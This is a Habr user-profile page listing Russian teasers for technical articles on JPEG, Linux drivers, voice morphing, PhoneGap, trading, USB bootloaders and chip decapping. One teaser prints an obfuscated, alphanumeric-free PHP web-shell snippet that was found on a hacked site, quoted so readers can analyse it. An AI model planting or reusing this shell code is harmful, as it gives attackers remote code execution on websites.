Search
Write a publication
Pull to refresh
14
0.1
Дмитрий Земсков @SADKO

Overqualified

Send message

Выпущена бета-версия продукта для визуального создания Windows 8.1 приложений Microsoft Project Siena

Reading time1 min
Views13K
image

Вчера была выпущена бета-версия продукта Microsoft Project Siena (кодовое имя). Продукт предназначен для создания Windows 8.1 приложений в визуальном режиме.

Теперь вам не обязательно иметь специальных навыков программирования для того, чтобы реализовать свои идеи и создавать мощные приложения.
Читать дальше →

Изобретаем JPEG

Reading time28 min
Views178K

Вы правильно поняли из названия, что это не совсем обычное описание алгоритма JPEG (формат файла я подробно описывал в статье «Декодирование JPEG для чайников»). В первую очередь, выбранный способ подачи материала предполагает, что мы ничего не знаем не только о JPEG, но и о преобразовании Фурье, и кодировании Хаффмана. И вообще, мало что помним из лекций. Просто взяли картинку и стали думать как же ее можно сжать. Поэтому я попытался доступно выразить только суть, но при которой у читателя будет выработано достаточно глубокое и, главное, интуитивное понимание алгоритма. Формулы и математические выкладки — по самому минимуму, только те, которые важны для понимания происходящего.

Знание алгоритма JPEG очень полезно не только для сжатия изображений. В нем используется теория из цифровой обработки сигналов, математического анализа, линейной алгебры, теории информации, в частности, преобразование Фурье, кодирование без потерь и др. Поэтому полученные знания могут пригодиться где угодно.

Если есть желание, то предлагаю пройти те же этапы самостоятельно параллельно со статьей. Проверить, насколько приведенные рассуждения подходят для разных изображений, попытаться внести свои модификации в алгоритм. Это очень интересно. В качестве инструмента могу порекомендовать замечательную связку Python + NumPy + Matplotlib + PIL(Pillow). Почти вся моя работа (в т. ч. графики и анимация), была произведена с помощью них.

Внимание, трафик! Много иллюстраций, графиков и анимаций (~ 10Мб). По иронии судьбы, в статье про JPEG всего 2 изображения с этим форматом из полусотни.
Читать дальше →

Создание собственных драйверов под Linux

Reading time24 min
Views210K


Многие мои друзья и знакомые крутят пальцем у виска или задаются вопросом: не жмёт ли мне череп, когда узнают, что я пишу драйвера под Linux. Слово “драйвер” окутано каким-то почти мистическим смыслом, и постичь Дао его написания способны лишь избранные гуру.
К счастью это не так. Не знаю, как обстоят дела с написанием драйверов под другие операционные системы, в т.ч. и наиболее популярные, но под linux, вне зависимости от аппаратной архитектуры драйвера пишутся очень просто. Для написания драйвера необходимы базовые знания языка си, представление о работе ОС линукс (базовые), понимание того, что мы хотим получить, желание чтения документации и исходных кодов, ну и усидчивость. Всё.
Вы хотите посмотреть как написать драйвер для своего устройства? Тогда ныряйте под кат!
Читать дальше →

Задача изменения голоса. Часть 1. Что такое голос?

Reading time12 min
Views55K
Этим постом мы хотели бы начать цикл статей, посвященных задаче изменения голоса. В зарубежной литературе данную задачу часто именуют термином voice morphing, в отечественной литературе данная задача ещё не получила достаточного освещения как в научных, так и в инженерных кругах. Тема является достаточно обширной и во многом творческой. В результате работы в данном направлении у нас накопился определенный опыт, который мы планируем систематизировать и изложить, а также передать основную суть некоторых алгоритмов.

image

Изменение голоса может преследовать разную цель. Два основных направления, которые тут однозначно можно выделить – это получение реалистичного звучания измененного голоса и получение некоторого причудливо-фантастичного звучания. Неплохих результатов во втором случае вполне можно добиться, обрабатывая речевой сигнал как обычный звук, не заостряя внимание на его особенностях и делая многие допущения. Например, индустрия электронной музыки породила колоссальное количество разнообразных аудио-эффектов и результат их применения к речевому сигналу помогает создать самый невероятный образ говорящего.
В задаче реалистичного изменения голоса применение «музыкальных» (назовем их так) аудио-эффектов может привнести искажения, не характерные для натуралистичного звучания речи. В подобном случае необходимо более точно понимать, из каких звуков состоит речь, как они образуются и какие их свойства являются критическими для восприятия. Проще говоря — необходимо производить анализ сигнала перед его обработкой. При автоматизированной обработке речевого сигнала в реальном времени этот анализ усложняется многократно, т.к. умножается количество неопределенностей, которые надо как-то попытаться разрешить, и сокращается количество применимых алгоритмов.
В ближайших статьях мы рассмотрим варианты простейшей реализации таких эффектов, как изменение пола говорящего и изменение возраста говорящего. Чтобы читатель лучше понимал, какие параметры сигнала будут изменяться, в первых статьях будут затронуты основные вопросы образования звуков речи и способы формального описания речевого сигнала. После этого уже будут обсуждаться конкретные предлагаемые алгоритмы изменения голоса, их сильные и слабые стороны.

P.S.
Добавил дополнительные ссылки на первоисточники

Читать дальше →

Перенос Google Chrome на RAM-диск в Linux

Reading time3 min
Views84K
Опишу простой способ переноса кеша, настроек и прочих локальных данных Google Chrome на RAM-диск в Linux. Это ускорит скорость работы браузера и исключит насилие над диском (что особенно критично, если у вас SSD).

Статья не содержит ничего интересного для более-менее продвинутых пользователей Unix-like систем. Совсем ничего.

Читать дальше →

Расчёт положения небесных тел и эфемеридные теории

Reading time4 min
Views29K
Совсем недавно читал про Расчет положения небесных тел на небосводе и хотел бы внести свою лепту в это дело. В одном из комментариев к вышеупомянутой статье мельком задевается разговор про эфемеридные теории, такие как DE и прочие. Однако таких теорий существует множество и мы разберём одни из самых значимых на мой взгляд.
image
Читать дальше →

Краткая история дискретных мультимедийных аудиокарт

Reading time5 min
Views22K

Вступление


Piccy.info - Free Image Hosting

Как человек, не кончавший филармоний, я всегда немного стесняюсь и переживаю, когда рассказываю о своём увлечении — прослушивании музыки и звуков. Кхм, «прослушивание звуков» звучит наверное смешно и ёрнически, но что поделать, так и есть, музыка наполненная звуками и эффектами для меня как сайт забитый котиками. И наверное, когда-нибудь это приведёт к затяжному задротству, но пока я чувствую себя ещё сколь-нибудь адекватным, я хотел-бы поделиться с вами своей статьёй об истории потребительских звуковых плат. Надеюсь, вам будет интересно как и мне при составлении!

Читать дальше →

Выполнение PhoneGap-приложений в десктопном браузере

Reading time2 min
Views6K
Этим постом я хочу открыть серию небольших заметок об использовании PhoneGap в реальных проектах. Заметки о больших и не очень находках, которые нужно где-то фиксировать, чтобы потом не искать вновь. В конце поста — голосовалка о том, полезны ли здесь будут такие публикации.

Зачем открывать мобильные приложения в браузере?


Причин — две: 1) для отладки, 2) для демонстрации. Про первое понятно. Вторую возможность разработчики применяют не часто, но встретить можно.

Используя незначительно доработанное PhoneGap-приложение, можно демонстрировать на промо-сайте не просто скриншот, а реально работающую JS-динамику. То есть обернуть PhoneGap-исходник в iframe, поместить внутрь графического вида какого-нибудь очередного айфона и вуаля. Некоторый wow-фактор и копейка к конверсии гарантированы.
Читать дальше →

Промежуточные итоги биржевого стартапа

Reading time6 min
Views27K
Биржа, как стартап. Звучит довольно необычно. Сразу в голову лезет огромное количество юридических моментов, регуляторских замутов и т.д. Казалось бы, просто так не начать.

Но, как многим известно, существуют удачные попытки противостоять бюрократии финансового мира. История этого противостояния носит, конечно же, во многом виртуальную составляющую — электронные платежные системы. А как мы хорошо знаем, мир софта, пусть и виртуальный, при должном умении и упорстве вполне реально монетизируется.

Историю развития такого противостояния/дополнения можно долго расписывать. Но мы остановимся на одном из крайних событий этого фронта: криптовалюты. И даже еще сузим повествование: криптовалютные биржи.

Сразу скажу, чтобы полностью понять материал, пусть и написанный старательно общедоступным языком, все же придется потрудиться и ознакомиться с ликбезом.

Читать дальше →

Почему 98% текстов на ваших сайтах не работают. Вообще. И как это починить

Reading time7 min
Views285K

Вот так люди видят вашу страницу

Привет!
Проблема вот в чём. Если зайти на практически любой сайт интернет-магазина или компании с услугами, вы встретите контент. Точнее — отвратительные тексты, которые писали, кажется, маркетологи, воспитанные сеошниками.

Разумеется, можно не делать, как они. Если работать по-умному, то вы поможете и читателям по жизни, и себе в продажах.

По моим примерным подсчётам (усреднение с ряда позиций), конверсии для нас выглядят так:
  • Только название и картинка — около 1,5%.
  • С описанием от производителя — чуть более 2%.
  • С описанием человека, который держал это в руках и знает правила — около 6%.

Ниже — рассказ про то, как мы доводили время на сайте от 3 минут сначала до 6:40, а потом до 20:48. Да-да, двадцати минут сорока восьми секунд для среднего посетителя. Честного среднего, с учётом отказов и по полной выборке.
Читать дальше →

Поверхностно об основах рыночной архитектуры и алготрейдинге

Reading time37 min
Views107K
Многие знают, что одно из первых, что говорят в техническом ВУЗе — забыть все, что проходили в школе. Данная рекомендация актуальна и здесь. Полезно иногда с чистого листа начать.

На данный момент все рынки автоматизированы. По этой причине какие-то экономические объяснения ценообразования являются некими рудиментами. Рулят алгоритмы + некое ручное вмешательство.

Задача каждого торгового алгоритма всегда одна и та же — принести денег владельцу. Алгоритм тем лучше, чем больше денег он в состоянии принести.
Читать дальше →

Как навыки программирования могут позволить сохранить разум близкого человека или «От программирования до психотерапии»

Reading time8 min
Views29K
Хабралюди, добрый день!

В этом кратком очерке я напишу про то, как навыки программирования дали мне возможность помочь близким выйти из глубокой депрессии, а другим жить социальной жизнью, несмотря на параноидальную шизофрению.

Немного про меня. Мою жизнь сделала одна книга, которую как-то мне подарили на десятый или одиннадцатый мой день рождения. Это был замечательный комикс выпущенный латышами — «Как Петя Бейсиков Тоню Соображалкину программированию учил».

image

Может есть еще люди, которые как-то с нею сталкивались? Но она меня окунула в невероятный мир алгоритмов, блок -схем. Я до сих пор помню как их рисовал на уроках по истории на последних страницах тетрадки. От блок схемы «Как завести хомячка» до «как познакомиться с девушкой». Потом был Basic, Pascal, Cobol, Prolog ,Delphi, C++ Builder, PHP. С некоторыми из них у меня было шапочное знакомство, другие даже выдерживали мой быдлокодинг, а с некоторыми вообще не сложилось.

Меня трудно назвать как-то, кроме быдлокодер. Да, у меня есть проекты, они приносят деньги. Их не один и не два. Живы и здоровы более 6-7 лет. Я не забивал себе голову рефакторингом (ну почти), ставил костыли и работал быстро. Оглядываясь назад мне ничуть не стыдно, хотя, те ребята, которые работают сейчас под моим началом, бывает, ворчат. Сейчас веду отдел программистов одной достаточно крупной компании, ко всему имею маленький онлайн-бизнес, который капает.
Читать дальше →

Трубный ребенок: как объединять веб-сервисы в новые инструменты

Reading time7 min
Views19K
Отличительная особенность многих веб-приложений в том, что они, практически соответствуя канонам UNIX-way, превосходно выполняют одну функцию, лишь иногда предполагая некоторое ограниченное взаимодействие. Но для того чтобы аналогия была полной, не хватает главного элемента — аналога пайпов, который позволил бы связывать между собой сервисы для получения нового функционала. Мы подобрали инструменты, отлично решающие эту задачу, — различные мэшапы и автоматизаторы, способные связать разрозненные продукты в единое рабочее окружение.



Подробности

DIY-диммер для современных умелых рук

Reading time4 min
Views132K


Хотите собрать DIY-диммер, но нет желания/возможности возиться с самостоятельным травлением печатных плат? Пожаловав под кат вы научитесь «делать» такие же красивые платы. Готовый ZIP-архив для заказа на Китайских производствах ждет вас внутри.
Читать дальше →

Компактный USB HID Bootloader для ATtiny85

Reading time8 min
Views72K

Представляю вашему вниманию новый компактный Bootloader для AVR Tiny 45/85. Данный автозагрузчик распространяется под лицензией GNU GPL, как того требует лицензия V-USB. Основой для данного автозагрузчика послужил ATtiny85 USB Boot Loader от Embedded Creations и его потомок micronucleus-t85, используемый платами Digispark.
Также как и вышеупомянутые, TinyHID Loader основан на библиотеке V-USB.

Ключевые особенности:


  • Работает под ATtiny45 и ATtiny85
  • Компактен (2кб с базовыми функциями)
  • Расширяем (есть ряд дополнительных функций, включение которых увеличит размер)
  • Не треубет драйверов (что особенно важно под новые версии Windows)
  • Не работает с AVRdude, использует вместо этого кросплатформенное API на C#
  • Умеет обновлять сам себя

Читать дальше →

Гик порн 3: Как «открыть» микросхему и что у неё внутри? Советские Z80, TTL логика, FPGA Altera Cyclone I и другие

Reading time4 min
Views76K
Продолжаем ковырять внутренности микросхем. Для тех кто пропустил первые 2 серии — вот раз, вот два.

К553УД1А — один из первых советских интегральных операционных усилителей.
Этот экземпляр был произведен в марте 1978.
Читать дальше →

PHP-шелл без единого буквенно-цифрового символа

Reading time1 min
Views89K
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Узнать подробности

Новый Vogue. Теперь банановый

Reading time3 min
Views97K
Прикручиваем аппаратную консоль к Transcend WiFi SDHC


Прокачаная карточка

В очередной раз производители железок радуют нас хакабельными железками. При чём, если раньше Americhip порадовали только жителей Москвы, и мы своими силами доставляли это в регионы, то сегодня Transcend порадовал весь мир мегахакабельным устройством.
Продолжим славную традицию и расскажем как же прикрутить аппаратную консоль к данной карточке

Читать дальше →

Information

Rating
6,223-rd
Location
Москва и Московская обл., Россия
Date of birth
Registered
Activity